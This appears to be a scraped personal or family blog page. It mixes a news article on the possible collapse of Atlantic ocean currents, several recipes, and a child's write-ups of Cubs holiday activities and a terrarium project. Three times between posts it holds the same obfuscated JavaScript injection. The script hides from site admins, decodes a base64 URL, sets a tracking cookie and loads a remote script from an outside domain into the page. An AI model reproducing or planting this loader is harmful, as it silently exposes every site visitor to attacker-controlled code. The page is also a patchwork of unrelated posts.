Global warming threatens collapse of Atlantic currents this century, new study finds

Source: ft.com

Shutdown of ocean flows would likely lead to more stormy winters and drier summers in Europe Other signs of global warming include high sea surface temperatures in temperate regions of the northern hemisphere, while sea ice around Antarctica is at an all-time low ©

Henrik Egede-Lassen

The ocean circulation in the north Atlantic is likely to collapse sooner than expected as a result of climate change, causing further upheaval in weather patterns around the globe, new peer-reviewed scientific analysis finds.

The latest study of the currents or “conveyor belt” that carry warmer water upwards from the tropics concludes the Atlantic Meridional Overturning Circulation (Amoc) will shut down at some point between 2025 and 2095, with the 2050s most likely.

The University of Copenhagen researchers predicted the outcome with 95 per cent confidence in the paper published in the journal Nature Communications.

The findings by Copenhagen professors Peter Ditlevsen and Susanne Ditlevsen contrast with the view of the UN Intergovernmental Panel on Climate Change that Amoc is unlikely to collapse this century, and some scientists remain wary of departing from the IPCC’s predictions.

A collapse of Amoc, which includes the Gulf Stream stretching from Florida to north-western Europe, would produce pronounced cooling across the northern hemisphere, leading to stormier winters and drier summers in Europe.

Conversely, heat would intensify further south, as less warmth is transferred to temperate and polar latitudes, and there would be large changes in tropical rainfall and monsoons.

It is one of the most feared of the “tipping points” for the planet, or irreversible changes, that are threatened by global warming.

“I was surprised we found that the tipping point would come so soon and that we could constrain its timing so strongly to the next 70 years,” said Peter Ditlevsen. He said the IPCC models were “too conservative” and did not take into account early warning signals of instability reported more recently.

Stefan Rahmstorf, professor of ocean physics at Potsdam University and one of Europe’s leading climate scientists, said the growing body of science around the world’s ocean current systems showed a marked shift.

“The findings are in line with a couple of other studies in recent years suggesting that the Amoc tipping point is perhaps much closer than we previously thought. The evidence is mounting and is in my view alarming.”

Tim Lenton, one of the world’s foremost experts on tipping points and professor of climate science at Exeter university, noted the study had “made important improvements to the methods of providing early warning of a climate tipping point directly from data”.

“Once past the tipping point, the collapse of the Amoc would be irreversible,” Lenton said. “The collapse and its impacts will take time to unfold, but how long is uncertain,” he added.

Other climate scientists were more doubtful about the data and analytical methods used by the Copenhagen researchers.

“It is an interesting paper and emphasises Amoc collapse as a reason for concern,” said Richard Wood, head of the climate and oceans group at the UK Met Office Hadley Centre. “But I’m not abandoning the IPCC view, expressed with medium confidence, that it won’t collapse this century, though we do expect a weakening of the Amoc.”

Geological evidence suggests that during the last ice ages drastic changes in Atlantic circulation took place within a decade or two, but some climate models predict that it might take a century or so for the Amoc to halt completely under 21st-century circumstances. Even a partial shutdown would exacerbate the disruption caused by global warming.

Other worrying manifestations of global warming in the oceans include exceptionally high sea surface temperatures now being recorded around temperate regions of the northern hemisphere — as much as 5C above average off the east coast of Canada — while sea ice around Antarctica is at an all-time winter low. These are not directly related to changes in the Amoc.

The Ditlevsens — a brother and sister research partnership — said their results added to the urgency of global action to cut greenhouse gases. But Susanne Ditlevsen was not optimistic about the chances of avoiding an Amoc collapse.

“From what I see in the data it doesn’t look as though we can reverse it, unless there is a huge change in political views everywhere in the world, including China and the United States,” she said.

Vegetarian Pasta Sauce

Vegetarian sauce with rainbow pasta

Ingredients

  • 1 tbsp crushed garlic
  • Olive oil
  • 6 ripe tomatoes diced
  • 1 tin of crushed tomatoes
  • 1/2 cup of sun-dried tomatoes cut into small pieces
  • 1/3 cup of tomato pesto
  • 1 tbsp brown sugar
  • black pepper
  • 1 tsp chilli flakes
  • 3 carrots cut into large chunks
  • 1 onion finely chopped
  • 2 tsp dried oregano
  • 1/4 cup fresh parsley, rough-cut
  • 1 broccolli cut into flourettes
  • 1 bunch fresh basil finely cut
  • 100g baby spinach leaves
  • 1/2 red capsicum, diced
  • 1 zucchini, diced
  • 200g feta cheese cut into small cubes
  • Parmesan cheese to sprinkle over

Method

  1. Saute crushed garlic in pan with oil
  2. Add diced tomatoes, and tinned tomatoes. Saute for 4 minutes with lid on the pan. Low heat.
  3. Add sun-dried tomatoes, carrots, onion, pesto, brown sugar, black pepper, and chilli.
  4. Add oregano and parsley
  5. Add broccolli
  6. Steam for 5 minutes with lid on.
  7. Add capsicum, zucchini, and spinach. Don’t mix, as this will break the leaves.
  8. Add feta cheese. Cook for 10 minutes.
  9. Serve with colourful pasta, sprinkled with parmesan cheese

Banana Bread

Ingredients

  • 2 to 3 medium (20 cm), very ripe bananas peeled (about 1 1/4 to 1 1/2 cups mashed)
  • 75g butter, unsalted or salted, melted
  • 1/2 teaspoon baking soda (not baking powder)
  • 1 pinch salt
  • 3/4 cup (150g) sugar (1/2 cup if you would like it less sweet, 1 cup if more sweet)
  • 1 large egg, beaten
  • 1 teaspoon vanilla extract
  • 1 1/2 cups (200g) all-purpose flour

Method

  1. Preheat the oven and prepare the pan:Preheat the oven to 175°C, and butter an 20cm x 10cm loaf pan.
  2. Mash the bananas and add the butter:In a mixing bowl, mash the ripe bananas with a fork until completely smooth. Stir the melted butter into the mashed bananas.
  1. Mix in the remaining ingredients:Mix in the baking soda and salt. Stir in the sugar, beaten egg, and vanilla extract. Mix in the flour.
  1. Bake the bread:Pour the batter into your prepared loaf pan.
  1. Bake for 55 to 65 minutes at 175°C, or until a toothpick or wooden skewer inserted into the center comes out clean. A few dry crumbs are okay; streaks of wet batter are not. If the outside of the loaf is browned but the center is still wet, loosely tent the loaf with foil and continue baking until the loaf is fully baked.
  2. Cool and serve:Remove from oven and let cool in the pan for a few minutes. Then remove the banana bread from the pan and let cool completely before serving. Slice and serve. (A bread knife helps to make slices that aren’t crumbly.)Wrapped well, the banana bread will keep at room temperature for 4 days. For longer storage, refrigerate the loaf up to 5 days, or freeze it.

Code Camp Holiday Programme

Dear Akela,

I went to a holiday program called codecamp and I made a game using java script which is a programming language. The game was 3d and had two levels before the main fight. This part is really hard for beginners as the enemy has ten lives and you only have 3, you fire arrows at a milk carton and the carton fires rubber duckies at you, fast. The coding was mostly quite simple (for me) as I do computer programming a lot. This was quite an interesting task for me as I don’t often do games, let alone 3d ones. After the 

In the picture you can see with the two screenshots where the milk carton says “that hurts” and where in the program that is randomly selected from a list called bossvocab.

(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

NIDA Holiday Programme

Write-up of holiday program activity for Cubs

Over the school holidays I went to a drama and performance school for a week. The topic of the program was ‘rags to riches’ (personal growth, character development). I was in the year 3-6 level and there were 16 of us. On Friday that week I did a performance. I sung two songs:

You ‘ain’t never had a friend like me – Aladdin

It’s a hard knock life – Annie

We did numerous smaller group performances (4 groups of 4 mostly) all based on Cinderella and (again) Aladdin. 

For our group performances we went through stages:

  1. Mime
    1. We had to start making the scene with no sound at all
  2. One sound effect
    1. We could add one sound effect to each character
  3. Gibberish
    1. We made the scene with words replaced with gibberish
  4. Full sound
    1. We made the scene with all of the lines and dialogue

It was great fun and I very much enjoyed it. I suggest that if you like doing performances check out the N.I.D.A program.

(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

Chewy ANZAC Biscuits

Source: https://www.kidspot.com.au/kitchen/recipes/anzac-biscuit-recipe/

ANZAC Biscuits

Crunchy and delicious, Anzac biscuits made with oats are cheap to make and are a lower GI alternative to many packet biscuits. Containing coconut, golden syrup and butter, these biscuits do not use egg as a binding agent.

Ingredients

  • 2 cups rolled oats
  • 2 cups plain flour
  • 2 cups coconut
  • 1 1/2 cups sugar
  • 250 g butter
  • 4 tbs golden syrup
  • 1 tsp bicarbonate of soda
  • 2 tbs boiling water

Method

  1. Turn oven to 160°C. Lightly grease oven trays.
  2. Place oats, flour, coconut, sugar in big mixing bowl.
  3. Melt butter and golden syrup in saucepan. Take off heat.
  4. Mix baking soda and boiling water in a cup. Add to melted butter mixture in the pan. Quickly add to big mixing bowl. Mix well.
  5. Roll tablespoonfuls of the mixture into balls. Place on trays 5cm apart. Press lightly with fork.
  6. Bake for 20 minutes.

Tex-Mex Eggs

Sweet chorizo hash with eggs and guacamole

Ingredients (per person)

  • Chorizo – 140g
  • Sweet potato, peeled, diced – 12cm
  • Diced onions – 2 cups
  • Salt, pepper to taste
  • Eggs – 2
  • Guacamole (see link) – 5 tbsp
  • Hot sauce
  • Chives for garnish

Directions

  • Saute chorizo for 3 mins over medium-high heat
  • Add sweet potato, onions
  • Stir to combine
  • Cover and cook for 3 mins
  • Remove lid. Cook until sweet potato has a crisp crust and tender centre (5 mins)
  • In a separate pan, fry eggs
  • Transfer chorizo hash to a plate, top with eggs and 5tbsp guacamole, and hot sauce

Da Terrarium

Terrarium in progress.

A terrarium is a containment facility similar to an aquarium except it holds plants and not fish nor is it filled with water.

I decided to make a terrarium to learn about how they work and to learn about how plants and animals live together in an environment – and just for fun 😎 .

I went to the library to find a book that would show me how to make a terrarium.

I got this book from the library to learn how to make my terrarium.
Me figuring out what I’ll need

For my container I got a sealed one with a relatively large size, around two of my hand lengths.

I made it by first adding some gravel to the bottom then some activated charcoal powder then we put in the potting mix after that we added three plants and put some moss on top of the dirt and some worms. We also had to put black paper around the dirt line so that the worms would not get scared.

Finally we gave it a few shots of water with the spray and then waited a few days to tell if it was too much or not enough.

13 Nov 2022: Adding activated charcoal to gravel
13 Nov: Adding potting mix on top of charcoal

It turned out that it was WAY too much water so we wiped the water droplets off the lid and tried again but we repeated the process once again and finally got it about right.

At the start we had too much moisture in the terrarium

On 23rd Nov we sealed it and left it alone so it would be like an eco system on its own. In December we went on holiday to New Zealand for a month and nobody looked after it. After touchdown, at Melbourne Airport it looked like this(below).

Terrarium update: 13 Jan 2023
Terrarium at April 2023, after being sealed for 4 months.

After 4 months the life forms inside are still growing. While we only placed plants in there it appears that unseen bugs are moving the dirt up the sides.

(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

Chocolate Rum Balls

Ingredients

  • 250 g (9 oz) plain sweet biscuits (I use Milk Arrowroot or Marie/Maria biscuits)
  • ¼ cup unsweetened cocoa powder
  • 1 cup finely desiccated coconut, plus ½ cup extra for rolling
  • 395 g (14 oz) tin of sweetened condensed milk

Instructions

  1. Crush the biscuits either using a rolling pin or food processor. There should still be some reasonably large chunks of biscuit to give the rum balls a better texture.
  2. In a medium bowl, combine crushed biscuits, cocoa powder, and 1 cup of coconut. Stir until well combined. Add the sweetened condensed milk and stir until the mixture comes together and all the ingredients are well incorporated.
  3. Place the remaining ½ cup of coconut in a small bowl. Roll a heaped tablespoon of mixture into a ball and roll the ball in coconut to coat. Place on a large plate or tray. Repeat with remaining mixture.
  4. Refrigerate for 30 minutes or until quite firm. You can store the rum balls in unrefrigerated in an airtight container once they have set.

Notes

Storage

  • You can store the rum balls unrefrigerated in an airtight container for up to 1 week. If your house is very hot, keep the rum balls in the refrigerator. 

Substitutions & Tips

  • How to crush the biscuits using a food processor: place the biscuits in the bowl of the food processor. Pulse on medium-high speed for 10-20 seconds, checking to see how crushed the biscuits are in between pulses. The biscuits should be about half crumbs and half chunks.
  • How to crush the biscuits using a rolling pin: place the biscuits in a large zip-loc bag or freezer bag. Spread them out so they are in a flat layer. Crush with the long edge of the rolling pin, turning the bag over occasionally. If your bag gets a hole in it, you may need to double up with a second bag. The biscuits should be about half crumbs and half chunks.
  • Biscuits: The US equivalent for Marie biscuits is Maria Cookies. You can also used vanilla tea cookies. 
  • Additions: you can give these rum balls a proper rum flavour by adding 1 tsp of rum extract, if desired. These biscuits are also delicious with 1/2 tsp – 1 tsp of peppermint flavouring!